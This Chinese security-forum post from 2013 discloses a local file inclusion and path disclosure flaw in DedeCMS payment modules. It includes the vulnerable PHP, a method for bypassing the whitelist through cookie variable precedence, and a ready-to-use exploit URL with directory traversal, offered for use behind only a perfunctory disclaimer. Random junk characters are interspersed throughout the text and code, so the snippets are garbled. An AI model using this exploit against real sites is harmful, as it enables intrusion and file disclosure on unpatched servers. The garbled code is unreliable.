中国网络渗透测试联盟

标题: dedecms本地文件包含及物理路径泄露0day [打印本页]

作者: admin    时间: 2013-4-4 17:25
标题: dedecms本地文件包含及物理路径泄露0day
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)* Q* A' Z, y3 E% C/ Y4 ~! E( |9 u5 n, U

" Y) S* H0 ^/ h  }3 ^出现漏洞的两个文件为:5 Q8 Z6 D( r% ~0 ~& z2 G" j/ T$ s
Include/payment/alipay.php
7 S, f8 k) }3 k+ w! _# H; |Include/payment/yeepay.php
* R3 _; I1 Q" G8 _7 n漏洞均出现在respond方法里,估计这两个文件是临时工写的。* E4 c6 `3 ~' Y7 m) `9 N

; z# L9 C! c- V7 h' TInclude/payment/alipay.php# {- ^7 S5 A. z0 b% G" O7 X" _
2 ~# x% l8 q' P! ~) f: ?5 x
......9 {6 K9 X- V6 i' S5 }' O5 H' _
   function respond()9 p; N( F1 i1 p/ I( }  t, n7 Q
    {. z& A7 g3 _* I$ N) L
        if (!empty($_POST))
7 U, ~% i' s9 V        {
' d8 N% }4 F( P* ~3 L/ k+ z) |* z            foreach($_POST as $key => $data)- L) J& u+ o. D# U9 M
            {# D0 `- d8 J7 v  ^3 E
                $_GET[$key] = $data;9 w' {/ y: g4 T: i  u- t
            }( r. y& z# H& l( l7 j1 p$ o! m
        }, o8 d0 g& K+ z4 C
        /* 引入配置文件 */+ N! ?( U4 W1 R/ \# \
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';4 p4 C: m$ Q& }, g$ e
......
3 c& q1 O% [  q( v# A! j4 M " f% a8 C8 o4 O2 x8 B3 Y# M
5 a5 }4 [  ?+ X
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
1 O' i2 @% {3 ^* @# ^
9 [. X: F% k% C( r1 {1 g* i3 ^Include/payment/yeepay.php
( P# C, t; i6 P! W
& T  U5 k$ M- F) B7 \3 B
$ s/ B3 b) @& i; R% i
! r, z8 T; Y) I" U$ w! h% V  i8 e: ?......0 C3 M* k( O. Q0 r/ \9 o
    function respond()8 v9 N; c- U3 \5 ]# o3 a) _' k
    {; ~) Z9 e2 w" {1 B' C1 p) h9 q

& K  X; j4 H4 t        /* 引入配置文件 */* x! X* e3 y- u) @( c1 l  K' s
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
4 d2 x3 |$ C3 o7 O0 ]7 N & ^- X7 P& Z4 Z7 f5 B4 g& w! ~
        $p1_MerId = trim($payment['yp_account']);. ^/ l; @4 @5 m# W) j
        $merchantKey = trim($payment['yp_key']);3 V5 n4 Y+ Y2 J6 H  j  `# y
...... & D; V: ?7 ~! q% w$ \; j( i/ Z

; \( {: @9 U4 z; K4 E
' q( z9 t. o7 n3 H% \4 |1 J) @ 2 U5 X4 f$ K( n. k8 O; k

  O, T* Q8 h) x. E: [大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
/ x" Y- a* m, ], B" F& m
- j9 d8 C& S, Q; H# N这两个方法在plus/carbuyaction.php文件调用。+ G' ], Q, d* i! j
$ ?1 Z% z' O0 Z$ p& }
plus/carbuyaction.php  [. C* {8 h9 K

$ P+ g* O8 W8 [6 s7 O  X' x) Q, \......
. `- X7 }" |, L5 F' H} else if ($dopost == 'return') {
6 T5 U6 h  N$ T- t5 O/ S. @3 \4 B/ ]+ k    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
+ J% z: H7 a) S1 R    if (in_array($code, $write_list))4 s& _1 Y" G  ~/ Z
    {
1 D* W8 g8 F5 M( P& ?( f8 I        require_once DEDEINC.'/payment/'.$code.'.php';
5 p4 w$ O  k# B' _        $pay = new $code;
  N. y  f1 ^$ u2 V' O# R2 _) M        $msg=$pay->respond();6 }" K3 r' p3 x  a7 k
        ShowMsg($msg, "javascript:;", 0, 3000);! W+ [9 J. E- B" R
        exit();  6 G! r7 a2 R" k1 |/ l, u; n
    } else {3 H1 w5 P) P) Y6 w
        exit('Error:File Type Can\'t Recognized!');
9 F( e( o% d9 I+ x+ n, j/ r! v    }" N3 S( z6 K- x. M( f
}' l* A5 @0 `, ?$ `- P
......
/ a( u$ h# g+ F
6 Y* N) n. V- G$ o/ x0 t9 R1 U6 S2 C* A  c( ^2 O, D* }

" N* m* ^% ^% G  y
  n  I$ i  r  a: u9 ?
0 X. c3 z4 K3 c3 k7 n% \1 J5 J( n0 ?; u
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
6 {7 Y" B& ~" n( k( {, C所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。4 s. G( ^! w6 a) I
9 r/ h- I$ Y9 L  P' B0 U7 f/ n
回到include/common.inc.php来看看他的机制。
+ N5 |! f2 `) G8 _& C% d! b' E8 F8 @
9 ]1 h) F6 i  _/ _ " c9 s( D  J* L$ l, a! d

' R, v& A4 X  O5 c, J9 [......& V3 j: u- ]( Y4 f- o' K+ `3 j( K
foreach(Array('_GET','_POST','_COOKIE') as $_request)
0 e2 x6 j* T& |7 ]{& n& ]. }) r2 l0 b6 j7 U( b$ Z
        foreach($$_request as $_k => $_v)
/ p/ b' ~, O; r  N8 S, T        {
" S. |% x! m8 g: |# F; r                if($_k == 'nvarname') ${$_k} = $_v;
4 h3 f% s9 i7 y  f4 F% h                else ${$_k} = _RunMagicQuotes($_v);
7 ~; d4 P3 k2 m$ S/ C( S- L* Z        }
1 o2 i& a5 m/ B0 o$ |: M3 u* v}6 Q4 R# ]+ H+ Z1 x3 ?, H
...... . Y* L' f% H9 g& t+ T) W. S; @
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
5 M. s! {0 d' Y. _! P3 ?由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2